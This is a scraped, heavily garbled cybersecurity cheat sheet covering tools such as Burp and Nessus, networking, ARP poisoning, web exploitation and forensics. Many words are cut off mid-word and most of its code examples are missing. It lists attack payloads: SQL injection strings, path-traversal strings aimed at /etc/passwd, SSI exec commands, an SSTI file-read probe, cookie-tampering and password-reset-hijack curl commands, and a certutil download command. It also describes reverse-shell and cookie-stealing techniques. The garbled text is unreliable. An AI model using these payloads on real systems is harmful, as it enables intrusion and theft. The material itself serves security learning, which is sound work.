* Cluster bomb: Sends multiple payloads to each selected item, useful for disco new . (tries every combination of )
* Python modules can be installed from the BApp Store, by downloading Jython Jar file and placing it in the extender -> options -> python en.
* Extensions can be created using the Burp Extender API with either Ja or Ruby.
Nessus
Nessus is a GUI based scanner
Download and installation
1. Click here and register an account.
2. Download the Nessus-#.##.#-debian6_amd64.deb file
3. Na to the download and run the following command:
sudo dpkg -i package_file.deb4. Start the nessus service wit the command:
sudo /bin/systemctl start nessusd.service 5. Open up Firefox and goto the following URL:
6. Choose "Nessus Essentials" and click next. Skip when asked for a acti code
7. Login with your account
8. Wait for installation and then login again
Na and Scans
Launch a scan = Hit the "New Scan"
Side menu option that allows us to create custom templates = Policies
Change plugin properties such as hiding them or changing their se = Plugin rules
Scans
!Nessus Scans
Wireshark
Wireshark is a tool used for creating and analyzing PCAPs (network packet capture files)
Since this section is very large, I' an indi page for this, which can be found inside this repository by clicking here.
Text Editors
Nano
Nano is an easy to use command line text editor
Shortcuts
^G Display help text. ^O Write the current file to disk ^X Exit nano. ^T Invoke spellcheck, if installed. ^Y Next screen. ^V Previous screen. ^L Refresh (force redraw) current screen. ^J Justify current paragraph. (Join together broken lines of text until double newline is encountered.) ^W Search for a string or regular expression. ^\ Search and replace a string or regular expression Vim
Vim is a free and open-source, screen-based and highly customizable text editor program for Unix
Modes
Generally speaking, there are three basic modes in Vim:
Command mode – allows you to run commands (Default). Insert mode – allows you to insert/write text. mode – text selector.
Basic keybinds
h – move the cursor left j – cursor down k – cursor up l – move the cursor right i – enter the insert mode esc – enter the command mode $ – move to the end of the line yy – copy a line p – paste d – delete a line x – cut a character Basic commands:
:q – quit :wq – write & quit :q! – quit without saving /word – search for ‘word’ in the document : – grep integration in Vim (allows to search in multiple files)Find other very usefull commands here, or a full cheatsheet here.
Networking
Networking fundamentals for cybersecurity. Understanding IP addresses, ports, and protocols is essential for security work.
Internet Protocol (IP)
An IP address is like a postal address for devices on a network - it tells data where to go.
Example: 192.168.1.204
Key IP Address Types
Broadcast Address: Sending data here reaches ALL devices on the network (useful for discovery attacks).
IPv4
IP addresses consists of 32 bits:
11000000.10101000.00000001.11001100 = 192.168.1.204
Or in hex
c0.a8.01.cc = 192.168.1.204
So a full IP address is made up by 8x4 bits(32-bits), where they are seperated by a dot after every 8 bits meaning there are 4 groups which is also called "octets".
Since an octet consists of 8 bits and there are 4 octets, a valid IP address can only be a number between 0 and 255, meaning it can be 256 different numbers:
(0-255).(0-255).(0-255).(0-255)
This makes the IP pool to have 2^32 = 4,294,967,296 different IP addresses that can be assigned.
The router
A router assigns IP addresses to devices on a home network using a "pool" of addresses, ensuring no duplicates. This process, called dynamic IP assignment, uses the DHCP protocol.
When a device wants to connect outside the network, it communicates through the default gateway (the router), typically 192.168.1.1.
IPv4 Classes
| Class | Range | Subnet | Number of networks | Usage | For |
|---|---|---|---|---|---|
| A | 1.0.0.0 - 126.255.255.255 | 255.0.0.0 | 16,777,214 | Host Assigning | Big Companies and Go |
| B | 128.0.0.0 - 191.255.20.0 | 255.255.0.0 | 65,534 | Host Assigning | Organizations |
| C | 192.0.0.0 - 223.255.255.0 | 255.255.255.0 | 254 | Host Assigning | Networks with few hosts |
| D | 224.0.0.0 - 239.255.255.255 | | | Special Purpose | Multicasting applications |
| E | 240.0.0.0. - 255.255.255.255 | | | Special Purpose | Experimental(Illegal) |
Notes
Subnetting
Subnet mask
A subnet mask can look like this:
255.255.255.0
If there is a 255, then the corresponding octet in the IP address will stay the same, but if the number is 0, then that octet can anything in between 0-255. Example:
Subnet mask = 255.255.255.0
IP address = 192.168.1.204
The first 3 octets of the IP address 192.168.1.* will stay the same where the last octet "*" in our case is 204, which in fact is valid since the number can be anything in between 0-255
So the octets that ne is called the "Network portion" where the octet on a subnet mask zero is called the "Host".
IANA
IANA assigns IP addresses to a company. For example, IBM have the network range 9.0.0.0 which is a class A IP address. This gives the company the ability to slice up a network with another subnet mask, since the subnet mask for the Class A is only a default or a minimum they have to ha
IP = 9.1.4.0
Subnet mask = 255.255.255.0
= 256 other networks
The Class A network became a Classless network (when you cut up a network using a different subnet mask). Nowadays, we mainly do classles networks to take ad of the IP addresses we need to use.
So in other words, big and massi can become into a smaller network.
Address Resolution Protocol (ARP)
Address Resolution Protocol (ARP) is a protocol or procedure that connects an e Internet Protocol (IP) address to a fixed physical machine address, also known as a media access control (MAC) address, in a local-area network (LAN)
So if the IP is known but the MAC adress is not, a request is broadcasted to every device on the network in order to match an IP address to its corresponding MAC address. This record is then maintained and saved to a table called ARP cache.
An ARP request contains the following information:
1. The senders IP address.
2. The senders MAC adress.
3. The IP address we want to learn the MAC address for.
Dynamic and static records
When a broadcast is made, a dynamic record is made. This can be made by typing the following command:
arp-scan -l -I <interface>> arp-scan is a tool that can be used to scan for IP and MAC addresses on a local network. It can be installed with the command: sudo apt install arp-scan
> sudo arp-scan -I eth0 -l will send ARP queries for all valid IP addresses on the eth0 interface.
If we have the IP and MAC address , a manual thus static record can be made. This is done with the command: arp -s <IP_Address> <MAC_Address>
See all ARP entries with the command: arp -a
ARP Poisoning
Since it is possible to manually add entries to an ARP table, a few attack types can be made. These include:
1. Inflating the ARP cache thus making it non-responsive
2. Change the traffic on a network in order to listen for a traffic coming from a target. (MitM)
3. Changing the traffic and completely stopping the traffic for a target device.
Flushing an ARP cache
This can be made with the following command: arp -s -s neigh flush all
This command will delete every dynamic entry there is. The static ones will not be deleted since we added them manually. To remove the static entries run: arp -d <IP_Address>
ARP Spoofing
ARP spoofing is a type of MITM (man-in-the-middle attack) in which a malicious actor sends falsified ARP (Address Resolution Protocol) messages over a local area network. This results in the linking of an attacker's MAC address with the IP address of a legitimate computer or server on the network.
<details>
<summary>ARP Spoofing with Bettercap</summary>
</details>
Web Exploitation
Common web application and how to exploit them.
Content Discovery
Content discovery is divided into four parts, being manual, automated, OSINT and subdomain enumeration.
Manual
1. Check the robots.txt file for disallowed/hiddenpages
2. Check if there is /admin/ page
3. Check if there is any pages (
~ and .bak and .swp4. Check for git repositories /.git/. GitTools can be used in order to automatically scrape and download a git repository hosted online with a given URL.
5. Check favicon to find the website frameworks (only works if the website de doesn't replace this with a custom one)
Run this to find its md5 hash:
curl | md5sum Check this database to find the framework.
6. Check the sitemap file for disallowed/hidden files
7. Curl HTTP Headers to find potential information about the webser and possibly the programming/scripting language in use.
curl -v The -v switch enables mode, which will output the headers8. Look out for cookie and change them if possible. Look after Base64 encoded , JWT tokens, or maybe case folded that can be used to bypass authentication with simply using casefold(). (Example: 'ß' -> 'ss')
9. Test for Cross-site scripting
10. Test with SQL injection methods
11. Try Flask Template Injection (SSTI) with
{{config}} in the url. If it works, try {{ get_user_file("/etc/passwd") }}12. Check
.htaccess file for apache ser.13. Grab banners/headers for framework, authentication and misconfiguration discovery
curl -IL 14. Check the source code for any comments or hidden information in the inspector view.
When successfully finding a framework using on of the methods, Framework Stacking can be used afterwards where you check the framework documentation for potential admin portals etc.
Automated
What is Automated Discovery?
Automated discovery is the process of using tools to disco rather than doing it manually. This process is automated as it usually contains hundreds, thousands or e of requests to a web server. These requests check whether a file or directory exists on a website, giving us access to resources we didn't pre know existed. This process is made possible by using a resource called wordlists.
What are wordlists?
Wordlists are just text files that contain a long list of commonly used words; they can cover many different use cases. For example, a password wordlist would include the most frequently used passwords, whereas we're looking for content in our case, so we'd require a list containing the most commonly used directory and file names.
Most common Automation tools ffuf, dirb and gobuster.
Example use for all three tools:
OSINT
Google Hacking / Dorking
Google hacking / Dorking utilizes Google's ad search engine features, which allow you to pick out custom content.
| Filter | Example | Description |
|---|---|---|
| site | site:berkankutuk.dk | returns results only from the specified website address |
| inurl | inurl:admin | returns results that have the specified word in the URL |
| filetype | filetype:pdf | returns results which are a particular file extension |
| intitle | intitle:admin | returns results that contain the specified word in the title |
Find many more operators here.
Wappalyzer
Wappalyzer is an online tool and browser extension that helps identify what technologies a website uses, such as frameworks, Content Management Systems (CMS), payment processors and much more, and it can even find numbers as well. Read more here.
Wayback Machine
The Wayback Machine is a historical archive of websites that dates back to the late 90s. You can search a domain name, and it will show you all the times the service scraped the web page and saved the contents. This service can help uncover old pages that may still be active on the current website. Find the website here.
Email Har
Email har is the process of gathering email addresses from a website. This can be done manually by searching for email addresses in the source code of a website, or by using a tools such as Hunter.io and Phonebook. In order to the email addresses, you can use EmailHippo.
Subdomain enumeration
SSL/TLS Certificates
When a Certificate Authority (CA) issues an SSL/TLS certificate, it logs it in public Certificate Transparency (CT) logs. These logs can be searched for current and historical certificates on sites like crt.sh .
Search Engines
To search for subdomains of a domain: -site:www.domain.com site:*.domain.com
DNS Bruteforce
Bruteforce DNS (Domain Name System) enumeration is the method of trying tens, hundreds, thousands or e of different possible subdomains from a pre-defined list of commonly used subdomains. For this method, the tool DNSrecon, Sublist3r or Turbolist3r can be used. A more modern but slower alternative is Amass.
It is usually also a good idea to probe for HTTP and HTTPS services on the discovered subdomains to filter out any false positives. This can be done with the tool httprobe.
Hosts
Some subdomains aren't always hosted in publically accessible DNS results, such as de of a web application or administration portals. Instead, the DNS record could be kept on a private DNS server or recorded on the de's machines in their /etc/hosts file (or c:\windows\system32\drivers\etc\hosts file for Windows users) which maps domain names to IP addresses.
Because web servers can host multiple websites from one server when a website is requested from a client, the ser which website the client wants from the Host header. We can utilise this host header by making changes to it and monitoring the response to see if we' a new website.
Bruteforce by using the following command: ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: {domain}" -u -fs {size}
Cookie Manipulation
1. Check for JWT tokens at JWT.io
2. Flask cookies can be unsigned by using the following tool flask-unsign
3. Flask cookies can be decoded/encoded using the following tool: Flask Session Cookie Decoder/Encoder. See example usage here
SQL Injection
SQL (Structured Query Language) Injection occurs when user controlled input is passed to SQL queries without /sanitization. As a result, an attacker can pass in SQL queries to manipulate the outcome of such queries.
If an attacker is able to successfully pass input that is interpreted correctly, they would be able to do the following:
* Access, Modify and Delete information in a database when this input is passed into database queries. This would mean that an attacker can steal sensiti such as personal details and credentials.
* Execute Arbitrary system commands on a server that would allow an attacker to gain access to users’ systems. This would enable them to steal sensitive data and carry out more attacks against infrastructure linked to the server on which the command is executed.
SQL Injection Types
In-band SQLi (Classic SQLi)
In-band SQLi is the most common and easy-to-exploit of SQL injection attacks. In-band SQLi attacks rely on the fact that the same communication channel is used for both the attack and the result. There are two types of in-band SQLi attacks:
* Error-based SQLi - This type of SQL injection relies on error messages thrown by the database server to obtain information about the structure of the database. This information can then be used to formulate more attacks.
* Union-based SQLi - This type of SQL injection relies on using the UNION SQL operator to combine the results of two or more SELECT statements into a single result which is then returned as part of the HTTP response.
Inferential SQLi (Blind SQLi)
Inferential SQLi is also known as blind SQL injection. As the name suggests, the itself is not directly present in the application but can be inferred from the behaviour of the application. There are two types of inferential SQLi attacks being:
* Boolean-based SQLi - This type of SQL injection relies on sending SQL queries to the database which e to either TRUE or FALSE. Depending on the result, the content within the HTTP response will change, or remain the same.
* Time-based SQLi - This type of SQL injection relies on sending SQL queries to the database which cause a time delay in the response. The time delay is used to infer if the result of the query is TRUE or FALSE.
See much more database and SQLi related information here.
Tool for SQL Injection
sqlmap is a tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. See how to use it here.
Examples of SQL Injection
*
'' OR 1=1 --'*
' OR 1=1 --*
1' OR 1=1 --*
1' OR 1=1#*
1' OR 1=1--*
1' OR 1=1;--*
1" or "1"="1"-- -Command Injection
Command injection is the abuse of an application's behaviour to execute commands on the operating system, using the same pri that the application on a device is running with.
A command injection is also known as a "Remote Code Execution" (RCE) because an attacker can trick the application into executing a series of payloads that they provide, without direct access to the machine itself (i.e. an interacti). The webserver will process this code and execute it under the pri and access controls of the user who is running that application.
Disco Command Injection
This exists because applications often use functions in programming languages such as PHP, Python and NodeJS to pass data to and to make system calls on the machine’s operating system. For example, taking input from a field and searching for an entry into a file.
Example of a code in PHP:
Example of a code in Python (Flask):
Command Injection can be detected in mostly one of two ways:
| Method | Description |
|:---:|---|
| Blind | This type of injection is where there is no direct output from the application when testing payloads. You will have to in the beha of the application to determine whether or not your payload was successful. |
| | This type of injection is where there is direct feedback from the application once you ha a payload. For example, running the whoami command to see what user the application is running under. The web application will output the username on the page directly. |
Detecting Blind Command Injection:
Use time-delay payloads like ping or sleep to test for injection by observing response delays. Another method is redirecting output using > (e.g., whoami > file) and then reading the file with cat.
The curl command is a great way to test for command injection. This is because you are able to use curl to deliver data to and from an application in your payload.
Detecting Command Injection:
This is easier to detect since the output of commands like ping or whoami is displayed directly on the web application.
Exploiting Command Injection
Applications that use user input to populate system commands with data can often be combined in unintended behaviour. For example, the shell operators
;, & and && will combine two (or more) system commands and execute them botUseful payloads for command injection (linux):
| Payload | Description |
|:---:|:---:|
| whoami | See what user the application is running under. |
| ls | List the contents of the current directory. You may be able to find files such as configuration files, en files (tokens and application keys), and many more things. |
| ping | This command will invoke the application to hang. This will be useful in testing an application for blind command injection. |
| sleep | This is another useful payload in testing an application for blind command injection, where the machine does not have ping installed. |
| nc | Netcat can be used to spawn a reverse shell onto the application. You can use this foothold to na around the target machine for other services, files, or potential means of escalating pri. |
Useful payloads for command injection (windows):
| Payload | Description |
|:---:|:---:|
| whoami | See what user the application is running under. |
| dir | List the contents of the current directory. You may be able to find files such as configuration files, en files (tokens and application keys), and many more things. |
| ping | This command will invoke the application to hang. This will be useful in testing an application for blind command injection. |
| timeout | This command will also invoke the application to hang. It is also useful for testing an application for blind command injection if the ping command is not installed. |
Commands that quickly can be tested:
To test for a security misconfiguration in Python, we can use the os module to execute commands:
When found cat /etc/os-release can be used to find the OS and other useful information.
A useful tool in Windows we can use to gain RCE is certutil.exe (certutil.exe -urlcache -f <url> <filename>). This command is a nati CLI program installed as part of Certificate Services. It's handy in engagements because it is a binary signed by Microsoft and allows us to make HTTP/s connections. In our scenario, we can use it to make an HTTP request to download a file from a web server that we control to confirm that the command was executed.
See this cheatsheet for more.
Remediating Command Injection
Command injection can be pre in a of ways. E from minimal use of potentially dangerous functions or libraries in a programming language to filtering input without relying on a user’s input.
#### functions
In PHP, many functions interact with the operating system to execute commands ; these include:
* Exec
* Passthru
* System
Snippet for a code that only accept and process numbers between 0-9 as input:
#### Input sanitisation
Sanitising any input from a user that an application uses is a great way to prevent command injection. This is a process of specifying the formats or types of data that a user can submit. For example, an input field that only accepts numerical data or removes any special characters such as >, & and /.
Read more about the function filter_input() here.
#### Bypassing filters
Applications will employ numerous techniques in filtering and sanitising data that is taken from a user's input. These filters will restrict you to specific payloads; however, we can abuse the logic behind an application to bypass these filters. For example, an application may strip out quotation marks; we can instead use the hexadecimal value of this to achieve the same result.
When executed, although the data given will be in a different format than what is expected, it can still be interpreted and will have the same result.
Directory Tra
Directory tra (also known as path tra) allows attackers to access files and directories outside the web application's root directory.
Common Payloads:
Windows Examples:
Testing Methods:
1. URL parameters: file=../../../etc/passwd
2. POST data: In form fields
3. HTTP headers: User-Agent, Cookie
4. File upload paths
Files to Target:
/etc/passwd, /etc/shadow, /proc/C:\windows\system32\drivers\etc\hosts, C:\boot.iniweb.config, config.php, .envAuthentication Bypass
These can be some of the most critical as it often ends in leaks of customers personal data.
Username Enumeration
To find valid usernames, you can le error messages that reveal whether a username already exists. For example, using ffuf, you can automate testing with a wordlist of common usernames.
Example command:
Options:
-w: Specifies the wordlist path.-X: Sets the request method (POST in this case).-d: Defines form data with FUZZ placeholder for testing usernames.-H: Adds headers (e.g., Content-Type).-u: URL to send the request.-mr: Looks for specific response text to confirm a valid username.Brute Force
Brute force attacks try common passwords against usernames. After successful username enumeration, you can use the valid usernames for brute-forcing passwords.
Example command:
Options:
-w: Specifies multiple wordlists (e.g., W1 for usernames, W2 for passwords).-X: Sets the request method (POST here).-d: Defines form data with W1 for username and W2 for password.-H: Adds headers (e.g., Content-Type).-fc: Filters responses by excluding status code 200, indicating a failed login attempt.Logic Flaw
Sometimes authentication processes contain logic flaws. A logic flaw is when the typical logical path of an application is either bypassed, circum or manipulated by a hacker.
This can be seen here:
Because the above PHP code example uses three equals signs (===), it's looking for an exact match on the string, including the same letter casing. The code presents a logic flaw because an unauthenticated user requesting /adMin will not ha pri checked and have the page displayed to them, totally bypassing the authentication checks.
Example:
A login process: that goes like step 1, 2, 3, 4 but the hacker make it go like 1, 4 which grants the hacker access to another users account.
Case:
Reset another users password and get the link for the reset process to your account. The design flaw here is that you can send a reset password request to support by passing a users name, and then entering your own email to get the link. This can be done by the following command:
curl '<url>/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email='
Cookie Tampering
Examining and editing the cookies set by the web ser your online session can ha outcomes, such as unauthenticated access, access to another user's account, or elevated pri
The contents of some cookies can be in plain text, and it is obvious what they do. Take, for example, if these were the cookie set after a successful login:
Using this logic, if we were to change the contents of the cookies and make a request we'll be able to change our pri.
For this, curl can be used by using: curl -H "Cookie: logged_in=true; admin=true" <ip_address>/cookie-test
Hashed cookies
Sometimes cookie can look like a long string of random characters; these are called hashes which are an irre representation of the original text. Here are some examples that you may come across:
| Original String | Hash Method | Output |
|:---:|:---:|---|
| 1 | md5 | c4ca4238a0b923820dcc509a6f75849b |
| 1 | sha-256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| 1 | sha-512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
| 1 | sha1 | 356a192b7913b04c54574d18c28d46e6395428ab |
You can see from the abo that the hash output from the same input string can significantly differ depending on the hash method in use. E the hash is irre, the same output is produced every time
Encoded cookies
Encoding is similar to hashing in that it creates what would seem to be a random string of text, but in fact, the encoding is re
Take the below data as an example which is set by the web server upon logging in:Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/
This string base64 decoded has the value of {"id":1,"admin": false} we can then encode this back to base64 encoded again but instead setting the admin value to true, which now gives us admin access.
Insecure Direct Object Reference
Insecure Direct Object Reference(IDOR) is a type of access control .
This type of can occur when a web ser user-supplied input to retrie (files, data, documents), too much trust has been placed on the input data, and it is not on the ser to confirm the requested object belongs to the user requesting it.
An example of this:
Imagine you've just signed up for an online service, and you want to change your profile information. The link you click on goes to , and you can see your information.
Curiosity gets the better of you, and you try changing the user_id value to 420 instead (), and to your surprise, you can now see another user's information. You've now discovered an IDOR !
File Inclusion (LFI/RFI)
In some scenarios, web applications are written to request access to files on a gi, including images, static text, and so on . Parameters are query parameter strings attached to the URL that could be used to retrieve data or perform actions based on user input. The following graph explains and breaking down the essential parts of the URL.
!LFI
For example, if a user wants to access and display their C the web application, the request may look as follows, , where the file is the parameter and the userCV.pdf, is the required file to access.
!LFI CV
File inclusion are commonly found and exploited in programming languages for web applications, such as PHP that are poorly written and implemented. The main issue of these is the input , in which the user inputs are not sanitized or , and the user controls them. When the input is not , the user can pass any input to the function, causing the .
If the attacker somehow can write to the server such as /tmp directory, then it is possible to gain remote command execution RCE. However, it won't be effective if file inclusion is found with no access to sensitive data and no writing ability to the server.
Also known as Directory tra, a web security allows an attacker to read operating system resources, such as local files on the ser an application. The attacker exploits this by manipulating and abusing the web application's URL to locate and access files or directories stored outside the application's root directory.
An example of this can be seen by running this command on a website with this :
The result would look like this:
!LFI Path
Another code example in PHP:
Similarly, if the web application runs on a Windows server, the attacker needs to provide Windows paths
You can find a list of common OS files here
Most of the time in CTF's the path you are looking for would be: ../../../../etc/passwd
NULL BYTE trick
If a path is placing
.php at the end of your search, then this tells us that the de specifies the file type to pass to the include function. To bypass this scenario, we can use the NULL BYTE, which is %00.Using null bytes is an injection technique where URL-encoded representation such as %00 or 0x00 in hex with user-supplied data to terminate strings. You could think of it as trying to trick the web app into disregarding whate after the Null Byte.: /etc/passwd%00
NOTE: the %00 trick is fixed and not working with PHP 5.3.4 and above.
Current Directory trick
Though this can be filtered by the de. But we can also bypass that by trying the "current directory" trick which looks something like this:
/etc/passwd/.Subset string trick
If the de uses input by filtering some keywords, ex. "../", we can bypass this by using:
....//....//....//....//....//etc/passwd This works because the PHP filter only matches and replaces the first subset string
../ it finds and doesn't do another pass, leaving: ../../../../etc/passwdIncluding the Directory trick
If the de forces you to include a directory, you can bypass this by writing the directory and then moving up from there. Ex. if the forced directory is 'language':
languages/../../../../../etc/passwd Remote File Inclusion - RFI
Remote File Inclusion (RFI) is a technique to include remote files and into a application. Like LFI, the RFI occurs when improperly sanitizing user input, allowing an attacker to inject an external URL into
include function. One requirement for RFI is that the allow_url_fopen option needs to be on. The risk of RFI is higher than LFI since RFI allow an attacker to gain Remote Command Execution (RCE) on the server. Other consequences of a successful RFI attack include:
* Sensiti Disclosure
* Cross-site Scripting (XSS)
* Denial of Service (DoS)
An external server must communicate with the application server for a successful RFI attack where the attacker hosts malicious files on their server. Then the malicious file is injected into the include function via HTTP requests, and the content of the malicious file executes on the application server.
!RFI
How to
1. Create a file somewhere on your local computer. ex "cmd.txt"
2. Open the file and write some code inside it
3. Now create a webser python by running: python3 http.server <port> in the same path of the file.
4. Now open the browser and enter the http address where you want the attack to direct. This could look like this:
Remediation
As a de, it's important to be aware of web application , how to find them, and pre methods. To prevent the file inclusion , some common suggestions include:
1. Keep system and services, including web application frameworks, updated with the latest .
2. Turn off PHP errors to avoid leaking the path of the application and other potentially re information.
3. A Web Application Firewall (WAF) is a good option to help mitigate web application attacks.
4. Disable some PHP features that cause file inclusion if your web app doesn't need them, such as allow_url_fopen on and allow_url_include.
5. Carefully analyze the web application and allow only protocols and PHP wrappers that are in need.
6. Ne user input, and make sure to implement proper input against file inclusion.
7. Implement whitelisting for file names and locations as well as blacklisting.
PHP Filters
PHP filters are used to and sanitize external input. The filter extension provides a way to and sanitize external inputs. The filter extension is not enabled by default, so you need to enable it in the php.ini file.
Filters can be used by using php://filter. For example, to base64 encode a file, you can use: php://filter/convert.base64-encode/resource=index.php
Cross Site Request Forgery (CSRF)
CSRF tricks users into performing actions on a web application where they're authenticated without their knowledge.
How CSRF Works:
1. User logs into site (bank.com)
2. User malicious site (evil.com)
3. Malicious site triggers request to bank.com using user's session
4. Bank.com processes request as if user intended it
Example Attack:
Detection:
Pre:
Cross Site Scripting (XSS)
Cross-Site Scripting, better known as XSS in the cybersecurity community, is classified as an injection attack where malicious Ja gets injected into a web application with the intention of being executed by other users
Cross-site scripting are extremely common
DOM-Based XSS
DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document, and this document can be either displayed in the browser window or as the HTML source
This is when an attack payload is executed by manipulating the DOM (Document Object Model) in the target's browser. This type uses the client-side code instead of ser code.
Exploiting the DOM
DOM Based XSS is where the Ja execution happens directly in the browser without any new pages being loaded or data submitted to backend code. Execution occurs when the website Ja code acts on input or user interaction.
Example Scenario:
The website's Ja gets the contents from the window.location.hash parameter and then writes that onto the page in the currently being section. The contents of the hash aren't checked for malicious code, allowing an attacker to inject Ja of their choosing onto the webpage.
Potential Impact:
Crafted links could be sent to potential , redirecting them to another website or steal content from the page or the user's session.
How to test for Dom Based XSS:
DOM Based XSS can be challenging to test for and requires a certain amount of knowledge of Ja to read the source code. You'd need to look for parts of the code that access certain that an attacker can ha over, such as "window.location.x" parameters.
When you' those bits of code, you'd then need to see how they are handled and whether the are e to the web page's DOM or passed to unsafe Ja methods such as eval()
Reflected XSS
This is when a malicious script bounces off another website onto the target's web application or website. Normally, these are passed in the URL as a query, and it's easy as making the target click a link. This type originates from the target's request.
Or in other words, reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any .
Example Scenario:
A website where if you enter incorrect input, an error message is displayed. The content of the error message gets taken from the error parameter in the query string and is built directly into the page source.
How to test for Reflected XSS
You'll need to test every possible point of entry; these include:
* Parameters in the URL Query String
* URL File Path
* Sometimes HTTP Headers (although unlikely exploitable in practice)
A small test to see if a reflected XSS is possible is to enter a single quote (') into the input field and see if the page breaks or shows an error message. If it does, then it's likely exploitable.
Another way to test for reflected XSS is to enter the following payload into the input field:
If the page shows an alert box saying "exploitable", then it's likely exploitable.
Stored XSS
As the name infers, the XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit the site or web page.
Example Scenario:
A blog website that allows users to post comments. Unfortunately, these comments aren't checked for whether they contain Ja or filter out any malicious code. If we now post a comment containing Ja, this will be stored in the database, and every other user now the article will have the Ja run in their browser.
How to test for Stored XSS:
You'll need to test every possible point of entry where it seems data is stored and then shown back in areas that other users ha to; a small example of these could be:
* Comments on a blog
* User profile information
* Website Listings
Blind XSS
Blind XSS is similar to a stored XSS (which we covered in task 4) in that your payload gets stored on the website for another user to view, but in this instance, you can't see the payload working or be able to test it against yourself first.
Example Scenario:
A website has a contact form where you can message a member of staff. The message content doesn't get checked for any malicious code, which allows the attacker to enter anything they wish. These messages then get turned into support tickets which staff view on a private web portal.
Potential Impact:
Using the correct payload, the attacker's Ja could make calls back to an attacker's website, re the staff portal URL, the staff member's cookies, and even the contents of the portal page that is being . Now the attacker could potentially hijack the staff member's session and ha to the private portal.
How to test for Blind XSS:
When testing for Blind XSS , you need to ensure your payload has a call back (usually an HTTP request). This way, you know if and when your code is being executed.
A popular tool for Blind XSS attacks is xsshunter. Although it's possible to make your own tool in Ja, this tool will automatically capture cookies, URLs, page contents and more.
Payload
In XSS, the payload is the Ja code we wish to be executed on the targets computer. There are two parts to the payload, the intention and the modification.
The intention is what you wish the Ja to actually do, and the modification is the changes to the code we need to make it execute as every scenario is different.
Some examples of XSS intentions.
Proof Of Concept:
This is the simplest of payloads where all you want to do is demonstrate that you can achieve XSS on a website. This is often done by causing an alert box to pop up on the page with a string of text, for example:
Session Stealing:
Details of a user's session, such as login tokens, are often kept in cookies on the targets machine. The below Ja takes the target's cookie, base64 encodes the cookie to ensure successful transmission and then posts it to a website under the hacker's control to be logged. Once the hacker has these cookies, they can take over the target's session and be logged as that user.
Key Logger:
The below code acts as a key logger. This means anything you type on the webpage will be forwarded to a website under the hacker's control. This could be very damaging if the website the payload was installed on accepted user logins or credit card details.
Business Logic:
This payload is a lot more specific than the abo. This would be about calling a particular network resource or a Ja function. For example, imagine a Ja function for changing the user's email address called user.changeEmail(). Your payload could look like this:
A command to rule them all (Polyglots)
An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one.
This command will print "BERKAN_WAS_HERE" on the screen.
Server Side Request Forgery (SSRF)
SSRF, or ser request forgery, is a security that occurs when an attacker tricks a web application into making unauthorised requests to internal or external resources on the server's behalf.
Types of Attacks
What's the impact?
A successful SSRF attack can result in any of the following:
* Access to unauthorised areas.
* Access to customer/organisational data.
* Ability to Scale to internal networks.
* Reveal authentication tokens/credentials.
Finding an SSRF
And then wait for the server to make a request to the attacker-controlled server.
&x= can also be used in some cases to manipulate paths.Defeating Common SSRF Defenses
1. Deny List Bypass:
- Deny lists typically block access to localhost or specific IP addresses like 127.0.0.1. However, attackers can bypass these restrictions by using alternati such as 0, 0.0.0.0, 127.1, or subdomains that resolve to localhost like 127.0.0.1.nip.io.
2. Allow List Circum:
- Allow lists may restrict URLs to start with
3. Exploiting Open Redirects:
- Open redirects, which automatically redirect users to another website, can be le by attackers to redirect internal HTTP requests to a domain of their choice, especially if SSRF ha rules allowing only specific URLs like
Server Side Template Injection (SSTI)
Ser Template Injection (SSTI) is a that occurs when an attacker can control the template processing engine on the ser. This allows the attacker to inject and execute code on the server.
Example of SSTI in Python Flask
In the above code, the render_template_string function is used to render the template. If the user input is not sanitized, an attacker can inject template code to execute arbitrary commands on the server.
For example, if the attacker sends the following request: , the server will render the template as <h1>Welcome to the profile of 49!</h1>. This shows that the server is executing the code provided by the attacker.
Finding an SSTI
${{<%%'"}}%. To manually fuzz all of these characters, they can be sent one by one following each other.<details>
<summary>Manual Fuzzing example</summary> <br>
One of these may yield an error message or a different response, indicating that the application is to SSTI.
</details>
Detecting Template Engines
In the best case scenario, the error message will include the template engine, which marks this step complete. However, if this is not the case, we can use a decision tree to help us identify the template engine:
![SSTI
Exploiting SSTI
Once the template engine is identified, we can use the documentation to exploit the SSTI . For this PayloadsAllTheThings is a great resource.
<details>
<summary>Exploitation POC for Jinja2</summary> <br>
Python allows us to call the current class instance with <code>.__class__</code>, we can call this on an empty string:
Classes in Python have an attribute called <code>.\_\_mro\_\_</code> that allows us to climb up the inherited object tree:
Since we want the root object, we can access the second property (first index):
Objects in Python have a method called <code>.\_\_subclassess\_\_</code> that allows us to climb down the object tree:
Now we need to find an object that allows us to run shell commands. Example: The position in the list is 400 (index 401):
The abo essentially calls the subprocess.Popen method, now all we have to do is invoke it (use the code above for the syntax)
</details>
Remediation
To prevent SSTI , de should make use of secure methods and sanitization techniques.
<details>
<summary>Secure Methods</summary>
Most template engines will have a feature that allows you to pass input in as data, rather that concatenating input into the template.
</details>
<details>
<summary>Sanitization</summary>
Creating a whitelist character set for user input can help prevent SSTI . This can be done by checking the input against a list of allowed characters using a regular expression.
</details>
Server Side Includes (SSI)
Server Side Includes (SSI) is a simple interpreted ser scripting language used almost exclusively for the Web. It is most useful for including the contents of one or more files into a web page on a web server, using its #include directive.
Finding an SSI
*
<!--#exec cmd="ls" -->*
<!--#echo var="DATE_LOCAL" -->*
<!--#exec cmd="cat /etc/passwd" -->Digital Forensics
Digital forensics is the art of unco and in electronically stored data. It in identifying, acquiring, analyzing, and reporting digital e.
Use Cases:
File Analysis
Encodings
* Decimal: 70 111 114 101 110 115 105 99 115 33
* Hex: 46 6f 72 65 6e 73 69 63 73 21
* Octal: 106 157 162 145 156 163 151 143 163 41
* ASCII: Forensics!
* Base64: Rm9yZW5zaWNzIQ==
* Base85: 7W3<YDKBN%F!1
File type
